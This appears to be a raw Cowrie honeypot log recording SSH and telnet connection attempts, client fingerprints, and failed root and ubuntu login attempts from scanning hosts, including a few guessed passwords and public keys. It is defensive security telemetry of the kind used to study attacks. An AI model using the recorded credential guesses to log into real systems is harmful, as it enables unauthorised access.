{"eventid":"cowrie.session.connect","src_ip":"8.219.236.45","src_port":34016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a06aff148f5","protocol":"telnet","message":"New connection: 8.219.236.45:34016 (10.17.0.5:23) [session: 7a06aff148f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:43.604278Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56940,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba291701cd5","protocol":"ssh","message":"New connection: 103.15.226.202:56940 (10.17.0.5:22) [session: 5ba291701cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:47.022476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:47.026368Z","src_ip":"103.15.226.202","session":"5ba291701cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:47.422791Z","src_ip":"103.15.226.202","session":"5ba291701cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pgj-heu05HQM=bMvz","message":"login attempt [root/pgj-heu05HQM=bMvz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:48.140870Z","src_ip":"103.15.226.202","session":"5ba291701cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:49.381984Z","src_ip":"103.15.226.202","session":"5ba291701cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.741021633148193,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:55.226307Z","src_ip":"14.50.83.136","session":"dbc8f0122914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.119.25.48","src_port":46552,"dst_ip":"10.17.0.5","dst_port":22,"session":"6663da829492","protocol":"ssh","message":"New connection: 176.119.25.48:46552 (10.17.0.5:22) [session: 6663da829492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:55.616584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:55.621359Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:55.748113Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:ed:69:af:04:34:0e:3c:a4:8d:9a:a8:b9:85:f8:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyi8p9PvrJFz1k0eVquaBfzR+IZf2jicLWJ8rjL89kZROuaxA6NPd7/f7Azzm4g6PiSzACxLu+faDHfW1WjZFQX71wHdhTBEBfqWrMRksguw758K5fktpeRk8eaBcRhHHFIVxen6dCr/uD4Fa8FQXDevFfSbRzru5Np4VJ+WCD2pB+MtVgfM6rDFEOwmJ2qYD+rewvOfHGOpR+qYjvxDffWGWE0FSfTZTDdT7U2lwKgizQf4DcPo7m6UCpGpWZqSgohfx4dp5LOaECbchDQ5erEhjt/vmF6GlST2wz0oE4nytgjnKRALmTN1ADODiObaO/F86t4Ay7Iyk1edjpm7e/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:ed:69:af:04:34:0e:3c:a4:8d:9a:a8:b9:85:f8:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.343059Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:ed:69:af:04:34:0e:3c:a4:8d:9a:a8:b9:85:f8:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyi8p9PvrJFz1k0eVquaBfzR+IZf2jicLWJ8rjL89kZROuaxA6NPd7/f7Azzm4g6PiSzACxLu+faDHfW1WjZFQX71wHdhTBEBfqWrMRksguw758K5fktpeRk8eaBcRhHHFIVxen6dCr/uD4Fa8FQXDevFfSbRzru5Np4VJ+WCD2pB+MtVgfM6rDFEOwmJ2qYD+rewvOfHGOpR+qYjvxDffWGWE0FSfTZTDdT7U2lwKgizQf4DcPo7m6UCpGpWZqSgohfx4dp5LOaECbchDQ5erEhjt/vmF6GlST2wz0oE4nytgjnKRALmTN1ADODiObaO/F86t4Ay7Iyk1edjpm7e/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.346955Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:6f:51:1a:e8:4f:e8:1a:3d:bd:6e:ef:5e:1a:dc:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDamH7IwV5NOtPQujpd45FyCe+ujhX0/F3ICiAzG/BKFWwI0MGfUakckacvG6n4U7nTlMNh9pLN10+1fn4PNNpkLZUpILKFaKsoim4nE0TmnFqkkq/OSOG6/E7y+qyCt8DgOy7KfuNqtUohiFM++fka+swHh9G5d46OCnGlIGJ1GDcMQOqP8fEqveIZ2LU56XtM7fdBv47MMIAOQHjrKxBJDrddjRy6WdpKDBZ+a/hKAPy1hD4xdnX7lcI6UrVUKmE4tdwuBomYMJ4mxSryBFgK6zSofoLurU3tCs4gDFJRTx6aIJpLPhaKMcJhPHj42Zw+xpJ/yMHqxONlqequheXL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:6f:51:1a:e8:4f:e8:1a:3d:bd:6e:ef:5e:1a:dc:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.823494Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:6f:51:1a:e8:4f:e8:1a:3d:bd:6e:ef:5e:1a:dc:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDamH7IwV5NOtPQujpd45FyCe+ujhX0/F3ICiAzG/BKFWwI0MGfUakckacvG6n4U7nTlMNh9pLN10+1fn4PNNpkLZUpILKFaKsoim4nE0TmnFqkkq/OSOG6/E7y+qyCt8DgOy7KfuNqtUohiFM++fka+swHh9G5d46OCnGlIGJ1GDcMQOqP8fEqveIZ2LU56XtM7fdBv47MMIAOQHjrKxBJDrddjRy6WdpKDBZ+a/hKAPy1hD4xdnX7lcI6UrVUKmE4tdwuBomYMJ4mxSryBFgK6zSofoLurU3tCs4gDFJRTx6aIJpLPhaKMcJhPHj42Zw+xpJ/yMHqxONlqequheXL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.827245Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:21:a7:1f:89:4f:b4:33:4a:67:11:f9:3f:01:91:3b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAINc0gfeegT/L0nQ9+pLe1AL8tKrew1l45tPjpsJ98mbx9K5/fNAO2XW/bqMyA+QHI1St5/l6w/pQ3otJZz9Jh0LS2YJXtH7zYmjwJK7+JrqaGMoxMXgZzh0R0QGEiQbQIpnBruBc0xIc1x7WTNp/S7cd06Eaq78lPEvwN2wpGbfAAAAFQCM4j+sP+nZRXdj8cyh/p/BS9tX9wAAAIBhqOVafM2Pg6cJ5Q7hv4xkeKV3x8hnHVrz3uP9ImP9c6DLZw0XCcHyq4P8+eaiQOTvopJT06rnzTDxdE8zhSAzpgyDze7RreeRTHZa/PGapiiYdBbsQDjMJ2awL5Gm5Wl8uz7CFsC14yrHZgTs7OTmA2gfz/1ObgwBAEvHzTqXvQAAAIBd2NGCQNxRWrwaudsx1f3WoO40BijhBgnqw9KcXXrvif7EA2Zv4ecq5IzakoMDqdtnCtsSP07n4KydGwHqnG7blnpKdvSTfZw8YKd/EGrjuEkz8maVFGLQebjreMPHf69j6+Z6nYGwX+eilXCbrmCSfrzrAP+mSUjaV0g0m05zTg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ff:21:a7:1f:89:4f:b4:33:4a:67:11:f9:3f:01:91:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.951421Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:21:a7:1f:89:4f:b4:33:4a:67:11:f9:3f:01:91:3b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAINc0gfeegT/L0nQ9+pLe1AL8tKrew1l45tPjpsJ98mbx9K5/fNAO2XW/bqMyA+QHI1St5/l6w/pQ3otJZz9Jh0LS2YJXtH7zYmjwJK7+JrqaGMoxMXgZzh0R0QGEiQbQIpnBruBc0xIc1x7WTNp/S7cd06Eaq78lPEvwN2wpGbfAAAAFQCM4j+sP+nZRXdj8cyh/p/BS9tX9wAAAIBhqOVafM2Pg6cJ5Q7hv4xkeKV3x8hnHVrz3uP9ImP9c6DLZw0XCcHyq4P8+eaiQOTvopJT06rnzTDxdE8zhSAzpgyDze7RreeRTHZa/PGapiiYdBbsQDjMJ2awL5Gm5Wl8uz7CFsC14yrHZgTs7OTmA2gfz/1ObgwBAEvHzTqXvQAAAIBd2NGCQNxRWrwaudsx1f3WoO40BijhBgnqw9KcXXrvif7EA2Zv4ecq5IzakoMDqdtnCtsSP07n4KydGwHqnG7blnpKdvSTfZw8YKd/EGrjuEkz8maVFGLQebjreMPHf69j6+Z6nYGwX+eilXCbrmCSfrzrAP+mSUjaV0g0m05zTg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:56.955690Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:69:6f:3e:7c:ec:3b:2d:58:29:10:08:47:1b:38:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrEUczCMWpyuT+JX8JRbR/XI4A+lf6VyeD7f72EHwmNy0RCi3vOxDuW31AHIIixDxVDnHg7BZ61WyBuvCFNWMLd5DF199VucpYHV5ZbHCBzI73d85BB2uIcX9fGCwHRCqdbaLNCOe0hnUhLFcLdC1ZBEX+n6OB9OHTJ+RRTCT6crQmNABIIrrqiOhbrnAcEpJZ0DD/VoSVRIxfwe5Ywzx94zQdEaDZUWt7pCToKiUJG1/PWMDFhxbZkpAkfjoq9M1YDYrdB6XMgVyjxQn3UlbI0wGcDsEJN6AoMjp6tGUDi/rNmhIxW7PLRs7HBp42IUdbobQIcU75CXIClbFyIYYL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:69:6f:3e:7c:ec:3b:2d:58:29:10:08:47:1b:38:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:57.082139Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:69:6f:3e:7c:ec:3b:2d:58:29:10:08:47:1b:38:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrEUczCMWpyuT+JX8JRbR/XI4A+lf6VyeD7f72EHwmNy0RCi3vOxDuW31AHIIixDxVDnHg7BZ61WyBuvCFNWMLd5DF199VucpYHV5ZbHCBzI73d85BB2uIcX9fGCwHRCqdbaLNCOe0hnUhLFcLdC1ZBEX+n6OB9OHTJ+RRTCT6crQmNABIIrrqiOhbrnAcEpJZ0DD/VoSVRIxfwe5Ywzx94zQdEaDZUWt7pCToKiUJG1/PWMDFhxbZkpAkfjoq9M1YDYrdB6XMgVyjxQn3UlbI0wGcDsEJN6AoMjp6tGUDi/rNmhIxW7PLRs7HBp42IUdbobQIcU75CXIClbFyIYYL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:57.086454Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:e8:d5:a5:51:df:49:16:8e:1b:b9:3d:d0:12:37:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwUlGLZDaM91vN5Xxt4i9iAcz9Ud0avRoDOcofKw7pWdfC3sX6KLiwZSVfSXjlFHtNB5WRYt+jQxyQcRZHCnmIMm2ofsDZ9AYexfZikYgzUvnZvDNEROEM8IHvn8ShN869/nrNBgDyuYh3caWajp6uA9fO1MegG70EK3daUQtEsM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:e8:d5:a5:51:df:49:16:8e:1b:b9:3d:d0:12:37:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:57.211354Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:e8:d5:a5:51:df:49:16:8e:1b:b9:3d:d0:12:37:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwUlGLZDaM91vN5Xxt4i9iAcz9Ud0avRoDOcofKw7pWdfC3sX6KLiwZSVfSXjlFHtNB5WRYt+jQxyQcRZHCnmIMm2ofsDZ9AYexfZikYgzUvnZvDNEROEM8IHvn8ShN869/nrNBgDyuYh3caWajp6uA9fO1MegG70EK3daUQtEsM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:57.216660Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:57.341822Z","src_ip":"176.119.25.48","session":"6663da829492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.18895435333252,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:02.454538Z","src_ip":"212.55.149.117","session":"71af78a5c733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5232093334198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:14.127405Z","src_ip":"8.219.236.45","session":"7a06aff148f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":36868,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b214321e9a","protocol":"ssh","message":"New connection: 120.28.109.188:36868 (159.203.135.109:22) [session: d0b214321e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:17.210593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:17.215143Z","src_ip":"120.28.109.188","session":"d0b214321e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:17.474479Z","src_ip":"120.28.109.188","session":"d0b214321e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qweasdzxc","message":"login attempt [ubuntu/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:18.546102Z","src_ip":"120.28.109.188","session":"d0b214321e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:19.809112Z","src_ip":"120.28.109.188","session":"d0b214321e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":49818,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd84439d859","protocol":"telnet","message":"New connection: 129.232.238.42:49818 (159.203.135.109:23) [session: fbd84439d859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:26.749755Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":49812,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea13c9e6d2a","protocol":"telnet","message":"New connection: 129.232.238.42:49812 (159.203.135.109:23) [session: 5ea13c9e6d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:29.915796Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32470,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c19826ce54","protocol":"telnet","message":"New connection: 212.55.149.117:32470 (10.17.0.5:23) [session: a5c19826ce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:34.756431Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.239.90","src_port":36122,"dst_ip":"10.17.0.5","dst_port":22,"session":"a70296c64315","protocol":"ssh","message":"New connection: 46.62.239.90:36122 (10.17.0.5:22) [session: a70296c64315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.142015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.147642Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.259624Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
